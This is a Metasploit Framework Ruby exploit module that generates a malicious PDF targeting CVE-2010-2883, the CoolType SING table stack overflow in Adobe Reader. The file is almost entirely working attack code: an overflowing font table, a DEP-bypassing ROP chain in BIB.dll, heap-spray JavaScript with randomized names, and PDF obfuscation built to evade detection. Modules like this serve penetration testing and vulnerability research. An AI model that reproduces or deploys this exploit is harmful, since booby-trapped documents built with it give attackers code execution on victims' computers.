##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'
require 'zlib'

class Metasploit3 < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::FILEFORMAT

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Adobe CoolType SING Table "uniqueName" Stack Buffer Overflow',
      'Description'    => %q{
          This module exploits a vulnerability in the Smart INdependent Glyplets (SING) table
        handling within versions 8.2.4 and 9.3.4 of Adobe Reader. Prior version are
        assumed to be vulnerable as well.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Unknown',    # 0day found in the wild
          '@sn0wfl0w',  # initial analysis
          '@neox_fx',   # initial analysis
          '@vicheck',   # initial analysis
          'jduck'       # Metasploit module
        ],
      'Version'        => '$Revision$',
      'References'     =>
        [
          [ 'CVE', '2010-2883' ],
          [ 'OSVDB', '67849'],
          [ 'URL', 'http://contagiodump.blogspot.com/2010/09/cve-david-leadbetters-one-point-lesson.html' ],
          [ 'URL', 'http://www.adobe.com/support/security/advisories/apsa10-02.html' ]
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC'             => 'process',
          'InitialAutoRunScript' => 'migrate -f'
        },
      'Payload'        =>
        {
          'Space'    => 1000,
          'BadChars' => "\x00",
          'DisableNops' => true
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          # Tested OK via Adobe Reader 9.3.4 on Windows XP SP3 -jjd
          [ 'Automatic', { }],
        ],
      'DisclosureDate' => 'Sep 07 2010',
      'DefaultTarget'  => 0))

    register_options(
       [
        OptString.new('FILENAME', [ true, 'The file name.',  'msf.pdf']),
      ], self.class)
  end

   def exploit
    ttf_data = make_ttf()

    js_data = make_js(payload.encoded)

    # Create the pdf
    pdf = make_pdf(ttf_data, js_data)

    print_status("Creating '#{datastore['FILENAME']}' file...")

    file_create(pdf)
  end

  def make_ttf
    ttf_data = ""

    # load the static ttf file

    # NOTE: The 0day used Vera.ttf (785d2fd45984c6548763ae6702d83e20)
    path = File.join( Msf::Config.install_root, "data", "exploits", "cve-2010-2883.ttf" )
    fd = File.open( path, "rb" )
    ttf_data = fd.read(fd.stat.size)
    fd.close

    # Build the SING table
    sing = ''
    sing << [
      0, 1,   # tableVersionMajor, tableVersionMinor (0.1)
      0xe01,  # glyphletVersion
      0x100,  # embeddingInfo
      0,      # mainGID
      0,      # unitsPerEm
      0,      # vertAdvance
      0x3a00  # vertOrigin
    ].pack('vvvvvvvv')
    # uniqueName
    # "The uniqueName string must be a string of at most 27 7-bit ASCII characters"
    sing << "A" * (0x254 - sing.length)

    # 0xffffffff gets written here @ 0x7001400 (in BIB.dll)
    sing[0x140, 4] = [0x08231060 - 0x1c].pack('V')

    # This becomes our new EIP (puts esp to stack buffer)
    ret = 0x81586a5 # add ebp, 0x794 / leave / ret
    sing[0x208, 4] = [ret].pack('V')

    # This becomes the new eip after the first return
    ret = 0x806c57e
    sing[0x18, 4] = [ret].pack('V')

    # This becomes the new esp after the first return
    esp = 0x0c0c0c0c
    sing[0x1c, 4] = [esp].pack('V')
    
    # Without the following, sub_801ba57 returns 0.
    sing[0x24c, 4] = [0x6c].pack('V')

    ttf_data[0xec, 4] = "SING"
    ttf_data[0x11c, sing.length] = sing

    #File.open("/tmp/woop.ttf", "wb") { |fd| fd.write(ttf_data) }

    ttf_data
  end

  def make_js(encoded_payload)

    # The following executes a ret2lib using BIB.dll
    # The effect is to bypass DEP and execute the shellcode in an indirect way
    stack_data = [
      0xc0c0c0c,
      0x7004919,      # pop ecx / pop ecx / mov [eax+0xc0],1 / pop esi / pop ebx / ret
      0xcccccccc,
      0x70048ef,      # xchg eax,esp / ret
      0x700156f,      # mov eax,[ecx+0x34] / push [ecx+0x24] / call [eax+8]
      0xcccccccc,
      0x7009084,      # ret
      0x7009084,      # ret
      0x7009084,      # ret
      0x7009084,      # ret
      0x7009084,      # ret
      0x7009084,      # ret
      0x7009033,      # ret 0x18
      0x7009084,      # ret
      0xc0c0c0c,
      0x7009084,      # ret
      0x7009084,      # ret
      0x7009084,      # ret
      0x7009084,      # ret
      0x7009084,      # ret
      0x7009084,      # ret
      0x7009084,      # ret
      0x7009084,      # ret
      0x7001599,      # pop ebp / ret
      0x10124,
      0x70072f7,      # pop eax / ret
      0x10104,
      0x70015bb,      # pop ecx / ret
      0x1000,
      0x700154d,      # mov [eax], ecx / ret
      0x70015bb,      # pop ecx / ret
      0x7ffe0300,     # -- location of KiFastSystemCall
      0x7007fb2,      # mov eax, [ecx] / ret
      0x70015bb,      # pop ecx / ret
      0x10011,
      0x700a8ac,      # mov [ecx], eax / xor eax,eax / ret
      0x70015bb,      # pop ecx / ret
      0x10100,
      0x700a8ac,      # mov [ecx], eax / xor eax,eax / ret
      0x70072f7,      # pop eax / ret
      0x10011,
      0x70052e2,      # call [eax] / ret -- (KiFastSystemCall - VirtualAlloc?)
      0x7005c54,      # pop esi / add esp,0x14 / ret
      0xffffffff,
      0x10100,
      0x0,
      0x10104,
      0x1000,
      0x40,
      # The next bit effectively copies data from the interleaved stack to the memory
      # pointed to by eax
      # The data copied is:
      # \x5a\x90\x54\x90\x5a\xeb\x15\x58\x8b\x1a\x89\x18\x83\xc0\x04\x83
      # \xc2\x04\x81\xfb\x0c\x0c\x0c\x0c\x75\xee\xeb\x05\xe8\xe6\xff\xff
      # \xff\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\xff\xff\xff\x90
      0x700d731,      # mov eax, [ebp-0x24] / ret
      0x70015bb,      # pop ecx / ret
      0x9054905a,
      0x700154d,      # mov [eax], ecx / ret
      0x700a722,      # add eax, 4 / ret
      0x70015bb,      # pop ecx / ret
      0x5815eb5a,
      0x700154d,      # mov [eax], ecx / ret
      0x700a722,      # add eax, 4 / ret
      0x70015bb,      # pop ecx / ret
      0x18891a8b,
      0x700154d,      # mov [eax], ecx / ret
      0x700a722,      # add eax, 4 / ret
      0x70015bb,      # pop ecx / ret
      0x8304c083,
      0x700154d,      # mov [eax], ecx / ret
      0x700a722,      # add eax, 4 / ret
      0x70015bb,      # pop ecx / ret
      0xfb8104c2,
      0x700154d,      # mov [eax], ecx / ret
      0x700a722,      # add eax, 4 / ret
      0x70015bb,      # pop ecx / ret
      0xc0c0c0c,
      0x700154d,      # mov [eax], ecx / ret
      0x700a722,      # add eax, 4 / ret
      0x70015bb,      # pop ecx / ret
      0x5ebee75,
      0x700154d,      # mov [eax], ecx / ret
      0x700a722,      # add eax, 4 / ret
      0x70015bb,      # pop ecx / ret
      0xffffe6e8,
      0x700154d,      # mov [eax], ecx / ret
      0x700a722,      # add eax, 4 / ret
      0x70015bb,      # pop ecx / ret
      0x909090ff,
      0x700154d,      # mov [eax], ecx / ret
      0x700a722,      # add eax, 4 / ret
      0x70015bb,      # pop ecx / ret
      0x90909090,
      0x700154d,      # mov [eax], ecx / ret
      0x700a722,      # add eax, 4 / ret
      0x70015bb,      # pop ecx / ret
      0x90909090,
      0x700154d,      # mov [eax], ecx / ret
      0x700a722,      # add eax, 4 / ret
      0x70015bb,      # pop ecx / ret
      0x90ffffff,
      0x700154d,      # mov [eax], ecx / ret
      0x700d731,      # mov eax, [ebp-0x24] / ret
      0x700112f       # call eax -- (execute stub to transition to full shellcode)
    ].pack('V*')

    var_unescape  = rand_text_alpha(rand(100) + 1)
    var_shellcode = rand_text_alpha(rand(100) + 1)

    var_start     = rand_text_alpha(rand(100) + 1)

    var_s         = 0x10000
    var_c         = rand_text_alpha(rand(100) + 1)
    var_b         = rand_text_alpha(rand(100) + 1)
    var_d         = rand_text_alpha(rand(100) + 1)
    var_3         = rand_text_alpha(rand(100) + 1)
    var_i         = rand_text_alpha(rand(100) + 1)
    var_4         = rand_text_alpha(rand(100) + 1)

    payload_buf = ''
    payload_buf << stack_data
    payload_buf << encoded_payload

    escaped_payload = Rex::Text.to_unescape(payload_buf)

    js = %Q|
var #{var_unescape} = unescape;
var #{var_shellcode} = #{var_unescape}( '#{escaped_payload}' );
var #{var_c} = #{var_unescape}( "%" + "u" + "0" + "c" + "0" + "c" + "%u" + "0" + "c" + "0" + "c" );
while (#{var_c}.length + 20 + 8 < #{var_s}) #{var_c}+=#{var_c};
#{var_b} = #{var_c}.substring(0, (0x0c0c-0x24)/2);
#{var_b} += #{var_shellcode};
#{var_b} += #{var_c};
#{var_d} = #{var_b}.substring(0, #{var_s}/2);
while(#{var_d}.length < 0x80000) #{var_d} += #{var_d};
#{var_3} = #{var_d}.substring(0, 0x80000 - (0x1020-0x08) / 2);
var #{var_4} = new Array();
for (#{var_i}=0;#{var_i}<0x1f0;#{var_i}++) #{var_4}[#{var_i}]=#{var_3}+"s";
|

    js
  end

  def RandomNonASCIIString(count)
    result = ""
    count.times do
      result << (rand(128) + 128).chr
    end
    result
  end

  def ioDef(id)
    "%d 0 obj \n" % id
  end

  def ioRef(id)
    "%d 0 R" % id
  end


  #http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/
  def nObfu(str)
    #return str
    result = ""
    str.scan(/./u) do |c|
      if rand(2) == 0 and c.upcase >= 'A' and c.upcase <= 'Z'
        result << "#%x" % c.unpack("C*")[0]
      else
        result << c
      end
    end
    result
  end


  def ASCIIHexWhitespaceEncode(str)
    result = ""
    whitespace = ""
    str.each_byte do |b|
      result << whitespace << "%02x" % b
      whitespace = " " * (rand(3) + 1)
    end
    result << ">"
  end


  def make_pdf(ttf, js)

    #swf_name = rand_text_alpha(8 + rand(8)) + ".swf"

    xref = []
    eol = "\n"
    endobj = "endobj" << eol

    # Randomize PDF version?
    pdf = "%PDF-1.5" << eol
    pdf << "%" << RandomNonASCIIString(4) << eol

    # catalog
    xref << pdf.length
    pdf << ioDef(1) << nObfu("<<") << eol
    pdf << nObfu("/Pages ") << ioRef(2) << eol
    pdf << nObfu("/Type /Catalog") << eol
    pdf << nObfu("/OpenAction ") << ioRef(11) << eol
    pdf << nObfu(">>") << eol
    pdf << endobj

    # pages array
    xref << pdf.length
    pdf << ioDef(2) << nObfu("<<") << eol
    pdf << nObfu("/MediaBox ") << ioRef(3) << eol
    pdf << nObfu("/Resources ") << ioRef(4) << eol
    pdf << nObfu("/Kids [") << ioRef(5) << "]" << eol
    pdf << nObfu("/Count 1") << eol
    pdf << nObfu("/Type /Pages") << eol
    pdf << nObfu(">>") << eol
    pdf << endobj

    # media box
    xref << pdf.length
    pdf << ioDef(3)
    pdf << "[0 0 595 842]" << eol
    pdf << endobj

    # resources
    xref << pdf.length
    pdf << ioDef(4)
    pdf << nObfu("<<") << eol
    pdf << nObfu("/Font ") << ioRef(6) << eol
    pdf << ">>" << eol
    pdf << endobj

    # page 1
    xref << pdf.length
    pdf << ioDef(5) << nObfu("<<") << eol
    pdf << nObfu("/Parent ") << ioRef(2) << eol
    pdf << nObfu("/MediaBox ") << ioRef(3) << eol
    pdf << nObfu("/Resources ") << ioRef(4) << eol
    #pdf << nObfu("/MediaBox [0 0 640 480]")
    #pdf << "<<"
    #if true
    #  pdf << nObfu("/ProcSet [ /PDF /Text ]") << eol
    #  pdf << nObfu("/Font << /F1 ") << ioRef(8) << nObfu(">>") << eol
    #end
    #pdf << nObfu(">>") << eol # end resources
    pdf << nObfu("/Contents [") << ioRef(8) << nObfu("]") << eol
    #pdf << nObfu("/Annots [") << ioRef(7) << nObfu("]") << eol
    pdf << nObfu("/Type /Page") << eol
    pdf << nObfu(">>") << eol # end obj dict
    pdf << endobj

    # font
    xref << pdf.length
    pdf << ioDef(6) << nObfu("<<") << eol
    pdf << nObfu("/F1 ") << ioRef(7) << eol
    pdf << ">>" << eol
    pdf << endobj

    # ttf object
    xref << pdf.length
    pdf << ioDef(7) << nObfu("<<") << eol
    pdf << nObfu("/Type /Font") << eol
    pdf << nObfu("/Subtype /TrueType") << eol
    pdf << nObfu("/Name /F1") << eol
    pdf << nObfu("/BaseFont /Cinema") << eol
    #pdf << nObfu("/FirstChar 0")
    #pdf << nObfu("/LastChar 255")
    pdf << nObfu("/Widths []") << eol
    #256.times {
    #  pdf << "%d " % rand(256)
    #}
    #pdf << "]" << eol
    pdf << nObfu("/FontDescriptor ") << ioRef(9)
    pdf << nObfu("/Encoding /MacRomanEncoding")
    #pdf << nObfu("/FontBBox [-177 -269 1123 866]")
    #pdf << nObfu("/FontFile2 ") << ioRef(9)
    pdf << nObfu(">>") << eol
    pdf << endobj

    # page content
    content = "Hello World!"
    content = "" +
      "0 g" + eol +
      "BT" + eol +
      "/F1 32 Tf" + eol +
      #"  10 10 Td" + eol +
      "32 Tc" + eol +
      "1 0 0 1 32 773.872 Tm" + eol +
      #"2 Tr" + eol +
      "(" + content + ") Tj" + eol +
      "ET"

    xref << pdf.length
    pdf << ioDef(8) << "<<" << eol
    pdf << nObfu("/Length %s" % content.length) << eol
    pdf << ">>" << eol
    pdf << "stream" << eol
    pdf << content << eol
    pdf << "endstream" << eol
    pdf << endobj

    # font descriptor
    xref << pdf.length
    pdf << ioDef(9) << nObfu("<<")
    pdf << nObfu("/Type/FontDescriptor/FontName/Cinema")
    pdf << nObfu("/Flags %d" % (2**2 + 2**6 + 2**17))
    pdf << nObfu("/FontBBox [-177 -269 1123 866]")
    pdf << nObfu("/FontFile2 ") << ioRef(10)
    pdf << nObfu(">>") << eol
    pdf << endobj

    # ttf stream
    xref << pdf.length
    pdf << ioDef(10) << nObfu("<</Length %s /Length1 %s>>" % [ttf.length, ttf.length]) << eol
    pdf << "stream" << eol
    pdf << ttf << eol
    pdf << "endstream" << eol
    pdf << endobj

    # js action
    xref << pdf.length
    pdf << ioDef(11) << nObfu("<<")
    pdf << nObfu("/Type/Action/S/JavaScript/JS ") + ioRef(12)
    pdf << nObfu(">>") << eol
    pdf << endobj

    # js stream
    xref << pdf.length
    compressed = Zlib::Deflate.deflate(ASCIIHexWhitespaceEncode(js))
    pdf << ioDef(12) << nObfu("<</Length %s/Filter[/FlateDecode/ASCIIHexDecode]>>" % compressed.length) << eol
    pdf << "stream" << eol
    pdf << compressed << eol
    pdf << "endstream" << eol
    pdf << endobj

    # trailing stuff
    xrefPosition = pdf.length
    pdf << "xref" << eol
    pdf << "0 %d" % (xref.length + 1) << eol
    pdf << "0000000000 65535 f" << eol
    xref.each do |index|
      pdf << "%010d 00000 n" % index << eol
    end

    pdf << "trailer" << eol
    pdf << nObfu("<</Size %d/Root " % (xref.length + 1)) << ioRef(1) << ">>" << eol

    pdf << "startxref" << eol
    pdf << xrefPosition.to_s() << eol

    pdf << "%%EOF" << eol
    pdf
  end

end